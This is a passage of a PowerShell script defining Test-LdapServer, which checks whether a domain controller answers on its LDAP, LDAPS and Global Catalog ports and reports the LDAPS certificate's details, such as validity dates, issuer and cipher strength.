176 | } 177 | } 178 | } 179 | 180 | function Test-LdapServer { 181 | [cmdletBinding()] 182 | param( 183 | [string] $ServerName, 184 | [string] $Computer, 185 | [PSCustomObject] $Advanced 186 | ) 187 | if ($ServerName -notlike '*.*') { 188 | # $FQDN = $false 189 | # querying SSL won't work for non-fqdn, we check if after all our checks it's string with dot. 190 | $GlobalCatalogSSL = [PSCustomObject] @{ Status = $false; ErrorMessage = 'No FQDN' } 191 | $GlobalCatalogNonSSL = Test-LDAPPorts -ServerName $ServerName -Port $GCPortLDAP 192 | $ConnectionLDAPS = [PSCustomObject] @{ Status = $false; ErrorMessage = 'No FQDN' } 193 | $ConnectionLDAP = Test-LDAPPorts -ServerName $ServerName -Port $PortLDAP 194 | 195 | $PortsThatWork = @( 196 | if ($GlobalCatalogNonSSL.Status) { $GCPortLDAP } 197 | if ($GlobalCatalogSSL.Status) { $GCPortLDAPSSL } 198 | if ($ConnectionLDAP.Status) { $PortLDAP } 199 | if ($ConnectionLDAPS.Status) { $PortLDAPS } 200 | ) | Sort-Object 201 | } else { 202 | #$FQDN = $true 203 | $GlobalCatalogSSL = Test-LDAPPorts -ServerName $ServerName -Port $GCPortLDAPSSL 204 | $GlobalCatalogNonSSL = Test-LDAPPorts -ServerName $ServerName -Port $GCPortLDAP 205 | $ConnectionLDAPS = Test-LDAPPorts -ServerName $ServerName -Port $PortLDAPS 206 | $ConnectionLDAP = Test-LDAPPorts -ServerName $ServerName -Port $PortLDAP 207 | 208 | $PortsThatWork = @( 209 | if ($GlobalCatalogNonSSL.Status) { $GCPortLDAP } 210 | if ($GlobalCatalogSSL.Status) { $GCPortLDAPSSL } 211 | if ($ConnectionLDAP.Status) { $PortLDAP } 212 | if ($ConnectionLDAPS.Status) { $PortLDAPS } 213 | ) | Sort-Object 214 | } 215 | if ($VerifyCertificate) { 216 | $Output = [ordered] @{ 217 | Computer = $ServerName 218 | Site = $Advanced.Site 219 | IsRO = $Advanced.IsReadOnly 220 | IsGC = $Advanced.IsGlobalCatalog 221 | GlobalCatalogLDAP = $GlobalCatalogNonSSL.Status 222 | GlobalCatalogLDAPS = $GlobalCatalogSSL.Status 223 | GlobalCatalogLDAPSBind = $null 224 | LDAP = $ConnectionLDAP.Status 225 | LDAPS = $ConnectionLDAPS.Status 226 | LDAPSBind = $null 227 | AvailablePorts = $PortsThatWork -join ',' 228 | X509NotBeforeDays = $null 229 | X509NotAfterDays = $null 230 | X509DnsNameList = $null 231 | OperatingSystem = $Advanced.OperatingSystem 232 | IPV4Address = $Advanced.IPV4Address 233 | IPV6Address = $Advanced.IPV6Address 234 | X509NotBefore = $null 235 | X509NotAfter = $null 236 | AlgorithmIdentifier = $null 237 | CipherStrength = $null 238 | X509FriendlyName = $null 239 | X509SendAsTrustedIssuer = $null 240 | X509SerialNumber = $null 241 | X509Thumbprint = $null 242 | X509SubjectName = $null 243 | X509Issuer = $null 244 | X509HasPrivateKey = $null 245 | X509Version = $null 246 | X509Archived = $null 247 | Protocol = $null 248 | Hash = $null 249 | HashStrength = $null 250 | KeyExchangeAlgorithm = $null 251 | ExchangeStrength = $null 252 | ErrorMessage = $null 253 | } 254 | } else { 255 | $Output = [ordered] @{ 256 | Computer = $ServerName 257 | Site = $Advanced.Site 258 | IsRO = $Advanced.IsReadOnly 259 | IsGC = $Advanced.IsGlobalCatalog 260 | GlobalCatalogLDAP = $GlobalCatalogNonSSL.Status 261 | GlobalCatalogLDAPS = $GlobalCatalogSSL.Status 262 | GlobalCatalogLDAPSBind = $null 263 | LDAP = $ConnectionLDAP.Status 264 | LDAPS = $ConnectionLDAPS.Status 265 | LDAPSBind = $null 266 | AvailablePorts = $PortsThatWork -join ',' 267 | OperatingSystem = $Advanced.OperatingSystem 268 | IPV4Address = $Advanced.IPV4Address 269 | IPV6Address = $Advanced.IPV6Address 270 | } 271 | } 272 | if ($VerifyCertificate) { 273 | if ($psboundparameters.ContainsKey("Credential")) { 274 | $Certificate = Test-LDAPCertificate -Computer $ServerName -Port $PortLDAPS -Credential $Credential 275 | $CertificateGC = Test-LDAPCertificate -Computer $ServerName -Port $GCPortLDAPSSL -Credential $Credential 276 | } else { 277 | $Certificate = Test-LDAPCertificate -Computer $ServerName -Port $PortLDAPS 278 | $CertificateGC = Test-LDAPCertificate -Computer $ServerName -Port $GCPortLDAPSSL 279 | } 280 | $Output['LDAPSBind'] = $Certificate.State 281 | $Output['GlobalCatalogLDAPSBind'] = $CertificateGC.State 282 | $Output['X509NotBeforeDays'] = $Certificate['X509NotBeforeDays'] 283 | $Output['X509NotAfterDays'] = $Certificate['X509NotAfterDays'] 284 | $Output['X509DnsNameList'] = $Certificate['X509DnsNameList'] 285 | $Output['X509NotBefore'] = $Certificate['X509NotBefore'] 286 | $Output['X509NotAfter'] = $Certificate['X509NotAfter'] 287 | $Output['AlgorithmIdentifier'] = $Certificate['AlgorithmIdentifier'] 288 | $Output['CipherStrength'] = $Certificate['CipherStrength'] 289 | $Output['X509FriendlyName'] = $Certificate['X509FriendlyName'] 290 | $Output['X509SendAsTrustedIssuer'] = $Certificate['X509SendAsTrustedIssuer'] 291 | $Output['X509SerialNumber'] = $Certificate['X509SerialNumber'] 292 | $Output['X509Thumbprint'] = $Certificate['X509Thumbprint'] 293 | $Output['X509SubjectName'] = $Certificate['X509SubjectName'] 294 | $Output['X509Issuer'] = $Certificate['X509Issuer'] 295 | $Output['X509HasPrivateKey'] = $Certificate['X509HasPrivateKey'] 296 | $Output['X509Version'] = $Certificate['X509Version'] 297 | $Output['X509Archived'] = $Certificate['X509Archived'] 298 | $Output['Protocol'] = $Certificate['Protocol'] 299 | $Output['Hash'] = $Certificate['Hash'] 300 | $Output['HashStrength'] = $Certificate['HashStrength'] 301 | $Output['KeyExchangeAlgorithm'] = $Certificate['KeyExchangeAlgorithm'] 302 | $Output['ExchangeStrength'] = $Certificate['ExchangeStrength'] 303 | $Output['ErrorMessage'] = $Certificate['ErrorMessage'] 304 | } else { 305 | $Output.Remove('LDAPSBind') 306 | $Output.Remove('GlobalCatalogLDAPSBind') 307 | } 308 | if (-not $Advanced) { 309 | $Output.Remove('IPV4Address') 310 | $Output.Remove('OperatingSystem') 311 | $Output.Remove('IPV6Address') 312 | $Output.Remove('Site') 313 | $Output.Remove('IsRO') 314 | $Output.Remove('IsGC') 315 | } 316 | [PSCustomObject] $Output 317 | } 318 | 319 | # example 320 | # Test-LDAP -ComputerName dc01.vault.local --------------------------------------------------------------------------------